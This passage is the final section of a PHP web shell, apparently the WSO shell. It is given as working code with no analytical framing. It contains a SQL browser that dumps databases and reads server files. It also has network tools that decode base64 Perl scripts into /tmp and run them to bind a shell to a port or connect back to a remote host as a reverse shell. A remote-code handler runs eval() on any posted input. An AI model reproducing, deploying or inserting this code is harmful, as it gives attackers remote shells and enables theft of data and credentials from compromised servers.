1084                                                                         case 'pgsql':
1085                                                                             return @pg_last_error();
1086                                                                         break;
1087                                                                     }
1088                                                                     return false;
1089                                                                 }
1090                                                                 function setCharset($str) {
1091                                                                     switch ($this->type) {
1092                                                                         case 'mysql':
1093                                                                             if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1094                                                                             else $this->query('SET CHARSET ' . $str);
1095                                                                             break;
1096                                                                         case 'pgsql':
1097                                                                             return @pg_set_client_encoding($this->link, $str);
1098                                                                             break;
1099                                                                         }
1100                                                                         return false;
1101                                                                     }
1102                                                                     function loadFile($str) {
1103                                                                         switch ($this->type) {
1104                                                                             case 'mysql':
1105                                                                                 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1106                                                                             break;
1107                                                                             case 'pgsql':
1108                                                                                 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1109                                                                                 $r = array();
1110                                                                                 while ($i = $this->fetch()) $r[] = $i['file'];
1111                                                                                 $this->query('drop table wso2');
1112                                                                                 return array('file' => implode("
1113 ", $r));
1114                                                                                 break;
1115                                                                             }
1116                                                                             return false;
1117                                                                     }
1118                                                                     function dump($table, $fp = false) {
1119                                                                         switch ($this->type) {
1120                                                                             case 'mysql':
1121                                                                                 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1122                                                                                 $create = mysql_fetch_array($res);
1123                                                                                 $sql = $create[1] . ";
1124 ";
1125                                                                                 if ($fp) fwrite($fp, $sql);
1126                                                                                 else echo ($sql);
1127                                                                                 $this->query('SELECT * FROM `' . $table . '`');
1128                                                                                 $head = true;
1129                                                                                 while ($item = $this->fetch()) {
1130                                                                                     $columns = array();
1131                                                                                     foreach ($item as $k => $v) {
1132                                                                                         if ($v == null) $item[$k] = "NULL";
1133                                                                                         elseif (is_numeric($v)) $item[$k] = $v;
1134                                                                                         else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1135                                                                                         $columns[] = "`" . $k . "`";
1136                                                                                     }
1137                                                                                     if ($head) {
1138                                                                                         $sql = 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES 
1139   (" . implode(", ", $item) . ')';
1140                                                                                         $head = false;
1141                                                                                     } else $sql = "
1142   ,(" . implode(", ", $item) . ')';
1143                                                                                     if ($fp) fwrite($fp, $sql);
1144                                                                                     else echo ($sql);
1145                                                                                 }
1146                                                                                 if (!$head) if ($fp) fwrite($fp, ";
1147 
1148 ");
1149                                                                                 else echo (";
1150 
1151 ");
1152                                                                                 break;
1153                                                                             case 'pgsql':
1154                                                                                 $this->query('SELECT * FROM ' . $table);
1155                                                                                 while ($item = $this->fetch()) {
1156                                                                                     $columns = array();
1157                                                                                     foreach ($item as $k => $v) {
1158                                                                                         $item[$k] = "'" . addslashes($v) . "'";
1159                                                                                         $columns[] = $k;
1160                                                                                     }
1161                                                                                     $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1162 ";
1163                                                                                     if ($fp) fwrite($fp, $sql);
1164                                                                                     else echo ($sql);
1165                                                                                 }
1166                                                                                 break;
1167                                                                             }
1168                                                                             return false;
1169                                                                         }
1170                                                                     };
1171                                                                     $db = new DbClass($_POST['type']);
1172                                                                     if (@$_POST['p2'] == 'download') {
1173                                                                         $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1174                                                                         $db->selectdb($_POST['sql_base']);
1175                                                                         switch ($_POST['charset']) {
1176                                                                             case "Windows-1251":
1177                                                                                 $db->setCharset('cp1251');
1178                                                                             break;
1179                                                                             case "UTF-8":
1180                                                                                 $db->setCharset('utf8');
1181                                                                             break;
1182                                                                             case "KOI8-R":
1183                                                                                 $db->setCharset('koi8r');
1184                                                                             break;
1185                                                                             case "KOI8-U":
1186                                                                                 $db->setCharset('koi8u');
1187                                                                             break;
1188                                                                             case "cp866":
1189                                                                                 $db->setCharset('cp866');
1190                                                                             break;
1191                                                                         }
1192                                                                         if (empty($_POST['file'])) {
1193                                                                             ob_start("ob_gzhandler", 4096);
1194                                                                             header("Content-Disposition: attachment; filename=dump.sql");
1195                                                                             header("Content-Type: text/plain");
1196                                                                             foreach ($_POST['tbl'] as $v) $db->dump($v);
1197                                                                             exit;
1198                                                                         } elseif ($fp = @fopen($_POST['file'], 'w')) {
1199                                                                             foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
1200                                                                             fclose($fp);
1201                                                                             unset($_POST['p2']);
1202                                                                         } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1203                                                                     }
1204                                                                     wsoHeader();
1205                                                                     echo "
1206 <h1>Sql browser</h1><div class=content>
1207 <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1208 <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1209 <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1210 <td><select name='type'><option value='mysql' ";
1211                                                                     if (@$_POST['type'] == 'mysql') echo 'selected';
1212                                                                     echo ">MySql</option><option value='pgsql' ";
1213                                                                     if (@$_POST['type'] == 'pgsql') echo 'selected';
1214                                                                     echo ">PostgreSql</option></select></td>
1215 <td><input type=text name=sql_host value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>
1216 <td><input type=text name=sql_login value='" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "'></td>
1217 <td><input type=text name=sql_pass value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
1218                                                                     $tmp = "<input type=text name=sql_base value=''>";
1219                                                                     if (isset($_POST['sql_host'])) {
1220                                                                         if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1221                                                                             switch ($_POST['charset']) {
1222                                                                                 case "Windows-1251":
1223                                                                                     $db->setCharset('cp1251');
1224                                                                                 break;
1225                                                                                 case "UTF-8":
1226                                                                                     $db->setCharset('utf8');
1227                                                                                 break;
1228                                                                                 case "KOI8-R":
1229                                                                                     $db->setCharset('koi8r');
1230                                                                                 break;
1231                                                                                 case "KOI8-U":
1232                                                                                     $db->setCharset('koi8u');
1233                                                                                 break;
1234                                                                                 case "cp866":
1235                                                                                     $db->setCharset('cp866');
1236                                                                                 break;
1237                                                                             }
1238                                                                             $db->listDbs();
1239                                                                             echo "<select name=sql_base><option value=''></option>";
1240                                                                             while ($item = $db->fetch()) {
1241                                                                                 list($key, $value) = each($item);
1242                                                                                 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1243                                                                             }
1244                                                                             echo '</select>';
1245                                                                         } else echo $tmp;
1246                                                                     } else echo $tmp;
1247                                                                     echo "</td>
1248               <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1249                 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1250           </tr>
1251       </table>
1252       <script>
1253             s_db='" . @addslashes($_POST['sql_base']) . "';
1254             function fs(f) {
1255                 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1256                     if(f.p1) f.p1.value='';
1257                     if(f.p2) f.p2.value='';
1258                     if(f.p3) f.p3.value='';
1259                 }
1260             }
1261           function st(t,l) {
1262               d.sf.p1.value = 'select';
1263               d.sf.p2.value = t;
1264                 if(l && d.sf.p3) d.sf.p3.value = l;
1265               d.sf.submit();
1266           }
1267           function is() {
1268               for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1269                   d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1270           }
1271       </script>";
1272                                                                     if (isset($db) && $db->link) {
1273                                                                         echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1274                                                                         if (!empty($_POST['sql_base'])) {
1275                                                                             $db->selectdb($_POST['sql_base']);
1276                                                                             echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1277                                                                             $tbls_res = $db->listTables();
1278                                                                             while ($item = $db->fetch($tbls_res)) {
1279                                                                                 list($key, $value) = each($item);
1280                                                                                 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1281                                                                                 $value = htmlspecialchars($value);
1282                                                                                 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
1283                                                                             }
1284                                                                             echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1285                                                                             if (@$_POST['p1'] == 'select') {
1286                                                                                 $_POST['p1'] = 'query';
1287                                                                                 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1288                                                                                 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1289                                                                                 $num = $db->fetch();
1290                                                                                 $pages = ceil($num['n'] / 30);
1291                                                                                 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1292                                                                                 echo " of $pages";
1293                                                                                 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1294                                                                                 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1295                                                                                 $_POST['p3']--;
1296                                                                                 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1297                                                                                 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1298                                                                                 echo "<br><br>";
1299                                                                             }
1300                                                                             if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1301                                                                                 $db->query(@$_POST['p2']);
1302                                                                                 if ($db->res !== false) {
1303                                                                                     $title = false;
1304                                                                                     echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1305                                                                                     $line = 1;
1306                                                                                     while ($item = $db->fetch()) {
1307                                                                                         if (!$title) {
1308                                                                                             echo '<tr>';
1309                                                                                             foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1310                                                                                             reset($item);
1311                                                                                             $title = true;
1312                                                                                             echo '</tr><tr>';
1313                                                                                             $line = 2;
1314                                                                                         }
1315                                                                                         echo '<tr class="l' . $line . '">';
1316                                                                                         $line = $line == 1 ? 2 : 1;
1317                                                                                         foreach ($item as $key => $value) {
1318                                                                                             if ($value == null) echo '<td><i>null</i></td>';
1319                                                                                             else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1320                                                                                         }
1321                                                                                         echo '</tr>';
1322                                                                                     }
1323                                                                                     echo '</table>';
1324                                                                                 } else {
1325                                                                                     echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1326                                                                                 }
1327                                                                             }
1328                                                                             echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1329                                                                             if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1330                                                                             echo "</textarea><br/><input type=submit value='Execute'>";
1331                                                                             echo "</td></tr>";
1332                                                                         }
1333                                                                         echo "</table></form><br/>";
1334                                                                         if ($_POST['type'] == 'mysql') {
1335                                                                             $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1336                                                                             if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1337                                                                         }
1338                                                                         if (@$_POST['p1'] == 'loadfile') {
1339                                                                             $file = $db->loadFile($_POST['p2']);
1340                                                                             echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1341                                                                         }
1342                                                                     } else {
1343                                                                         echo htmlspecialchars($db->error());
1344                                                                     }
1345                                                                     echo '</div>';
1346                                                                     wsoFooter();
1347                                                                 }
1348                                                                 function actionNetwork() {
1349                                                                     wsoHeader();
1350                                                                     $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1351                                                                     $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1352                                                                     echo "<h1>Network tools</h1><div class=content>
1353   <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1354   <span>Bind port to /bin/sh 1</span><br/>
1355   Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1356   </form>
1357   <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1358   <span>Back-connect  1</span><br/>
1359   Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1360   </form><br>";
1361                                                                     if (isset($_POST['p1'])) {
1362                                                                         function cf($f, $t) {
1363                                                                             $w = @fopen($f, "w") or @function_exists('file_put_contents');
1364                                                                             if ($w) {
1365                                                                                 @fwrite($w, base64_decode($t));
1366                                                                                 @fclose($w);
1367                                                                             }
1368                                                                         }
1369                                                                         if ($_POST['p1'] == 'bpp') {
1370                                                                             cf("/tmp/bp.pl", $bind_port_p);
1371                                                                             $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1372                                                                             echo "<pre class=ml1>$out
1373 " . wsoEx("ps aux | grep bp.pl") . "</pre>";
1374                                                                             unlink("/tmp/bp.pl");
1375                                                                         }
1376                                                                         if ($_POST['p1'] == 'bcp') {
1377                                                                             cf("/tmp/bc.pl", $back_connect_p);
1378                                                                             $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1379                                                                             echo "<pre class=ml1>$out
1380 " . wsoEx("ps aux | grep bc.pl") . "</pre>";
1381                                                                             unlink("/tmp/bc.pl");
1382                                                                         }
1383                                                                     }
1384                                                                     echo '</div>';
1385                                                                     wsoFooter();
1386                                                                 }
1387                                                                 function actionRC() {
1388                                                                     if (!@$_POST['p1']) {
1389                                                                         $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
1390                                                                         echo serialize($a);
1391                                                                     } else {
1392                                                                         eval($_POST['p1']);
1393                                                                     }
1394                                                                 }
1395                                                                 if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1396                                                                 else $_POST['a'] = 'SecInfo';
1397                                                                 if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1398                                                                 exit;
1399 ?>